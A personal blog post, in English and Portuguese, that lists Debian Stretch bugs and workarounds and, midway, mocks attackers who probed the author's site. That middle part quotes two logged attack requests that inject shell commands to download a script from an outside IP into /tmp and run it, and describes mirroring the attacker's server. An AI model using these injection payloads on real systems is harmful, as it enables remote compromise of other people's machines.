debian stretch found bugs

this post will be updated with bugs found in debian stretch...

systemctl ::: running as a regular user, using pkexec as gui to authenticate, after asking permission still does does not allow to enable/disable services, is does allow start/stop.

example...

# systemctl enable dnsmasq
Synchronizing state of dnsmasq.service with SysV service script with /lib/systemd/systemd-sysv-install.
Executing: /lib/systemd/systemd-sysv-install enable dnsmasq
update-rc.d: error: Permission denied

... workaround ::: pkexec systemctl enable dnsmasq

haddock ::: generated documentation links to invalid java script.

at java script console...

MathJax.js?config=Te…MS-MML_HTMLorMML:32 WARNING: cdn.mathjax.org has been retired. Check https://www.mathjax.org/cdn-shutting-down/ for migration tips.

... problem is in...

# grep -r 'MathJax.js' /usr/lib/*
Binary file /usr/lib/ghc/bin/haddock matches

... workaround ::: use sed to parse generated files (this message will soon be updated, with the actual code... or maybe i'll just wait for the fix, is quite unnoticeable)

e mais patos...

... mais pseudo-hackaros-wanna-be a tentar invadir estes dominios com mais parvoeiras sh:

//undefined/login.cgi?cli=aa%20aa%27;wget%20http://212.237.32.62/k%20-O%20-%3E%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$

... para comecar, duh ::: Host `undefined' not found!

... e o resto da path serve para nada, nesta terra sem `login.cgi'... talves funcionem melhor noutro planeta, mais standard e que valha mais a pena... para quem quer enricar... por aqui ha' nada para roubar... e as portas abertas a sh carecem existencia... nao temos evaluacoes publicas para desocupados correrem remotamente.

  ... tambem teem a mania que assustam as pessoas, com triplets da moda...

  http://212.237.32.62/666.mp4

  ... lol ::: estao mesmo a precisar de ir aprender com literados.

  ... e tambem usam o debian mais util...
  mas para fins mais frustrados... :(

  http://212.237.32.62/es-mesmo-nabo

... e claro, tambem disponibilizam a obvia parte mais interessante...

  http://212.237.32.62/k

ja' disponivel agora... quem sabe ler que aproveite ou whatever, desta vez nao temos a arvores de directorias hyper linkada... :( ... e um shot para potenciais abacorados leitores em atrazo:

e para os mais noobs... :)

... alterar (uma beca) o script acima e mitrar os hacks...

! 404 /Archive/1992-Fact/pascal/tpc.cfg ::  TypeError [ERR_HTTP_INVALID_HEADER_VALUE]: Invalid value "undefined" for header "Content-Type"

but: you can get the Borland Pascal...  some where else in the internet

  https://www.google.com/search?q=borland+turbo+pascal

the work around for now (until next unpredictable version of the site) is to find borland pascal somewhere else, compile the downloadable .pas files to pruduce the .exe ... lol, sry...

uau... que fascinante...

so' ips' publicos a tentar bombar sh esquisos... lol... ja' os prenderam a todos?... estes nao geram execpcoes no nosso servidor, sao ignorados... mas alguem mete servidores a fazer eval's directos de URLs?...

uau... qualquer pessoa que olhe para os seus logs http, fica a saber dos hacks conhecidos... lol... o nosso dominio e' isco para desocupados, posso providenciar listas de IP's criminosos... quem quer comprar?...

lol... e' com cada coisa que se ve para aki a passar... meces sois mesmo um perigo desocupado e com poucos afazeres proprios... quem e' que vos paga a renda para tamanha inutilidade?... um dia destes escrevo a pagina publica destes IP disponivel em realtime para que vos queira apanhar... e informar que ::: deviam arranjar uma vida e evitar ocupar largura de banda.

  `undefined' : as if we have that virtual host
  `/shell' : as if we match this path or at all evaluate shell commands sent in this uri query part as such
    `cd+/tmp;cd+/var;wget+http://199.195.254.118/jaws+-O+lwodo;sh%+lwodo;rm+-rf+lwodo'

... so the children can understand...

go to /tmp (and do nothing?... lol...) ; go to /var ; connect to the hacker and download his script `jaws' as `wodo' (lol: trying to scare someone?) ; run it with sh ; and then remove it... lol... where do you hire these noobs!... i don't want to know...

... so... we... lol... rofl... muah... ahahahahhahahah...
we hacked back... and stolen all their hacking scripts...
using the commands :

# we actually using /tmp for these events... lol...
cd /tmp
# using the anonymous tor network
# export http_proxy=socks5://localhost:9050
# hoops : wget does not support socks5, curl does... but not now
# download all their files
wget --recursive \
     --no-clobber \
     --page-requisites \
     --html-extension \
     --convert-links \
     --no-parent \
     199.195.254.118

 how nice of them to leave them publicly available... and tell us about it... poor incompetents from (or sucking) boston... :( ... they are now still wondering why their hack is not recalling... yet our site is down... :( ... so confusing for them... so  i come here and explain to the little children and hackers...

bonus ::: the screenshots of the hackers site... that also use Debian... (nice start)... now ::: go help you neighbors to migrate from windows... please... ip's in the scripts... ???... cd /tmp for nothing?... `jaws'?... `wodo'?... have you rather met jesus... master of the word... duh!... he codes better... you should know him better ::: thou swords are only useless and shameful.

you made the wall ::: have fun...

printrun `.stl' broken in stretch...

python: can't open file 'skeinforge/skeinforge_application/skeinforge_utilities/skeinforge_craft.py': [Errno 2] No such file or directory

this file from this package (that is not a dependency of printrun) does not exist in stretch... :(

applet-alarm-clock not playing sounds...

... in debian stretch...

apt install gtreamer1.0-alsa

otherwise setup custom command in `preferences'...

alsaplayer -q  /path/to/sound.ogg

EleksMaker X/Y motors do not move...

... using EleksCAM... maybe just because your windows regional settings do not use a dot as decimal separator... it is as stupid as it seams... try this software instead.

Debian stretch on QC5000M-ITX/PH

QC5000M-ITX/PH

@ BIOS ...

Fast Boot : if enabled grub only boots to /dev/sda1

PS2 Keyboard power on : cannot be actually be disabled
  . enabled : fails to resume properly
  . disabled : works as if enabled... lol... :)

Disable HDMI Audio : to make the sound card the default audio output.

Fails to enable the mouse on resume : choose a permanent usb (ohci) port for the mouse and add the following text to a new file (check that your device id is correct in the `echo' bellow)... make the file executable.

#!/bin/sh
#
# @ "/etc/pm/sleep.d/20_custom-ohci_pci".

case "${1}" in
  hibernate|suspend)
    # Unbind ohci device
    echo '0000:00:13.0' > /sys/bus/pci/drivers/ohci-pci/unbind
  ;;
  resume|thaw)
    # Bind ohci device
    echo '0000:00:13.0' > /sys/bus/pci/drivers/ohci-pci/bind
  ;;
esac

... and now the board works just fine as expected... :)
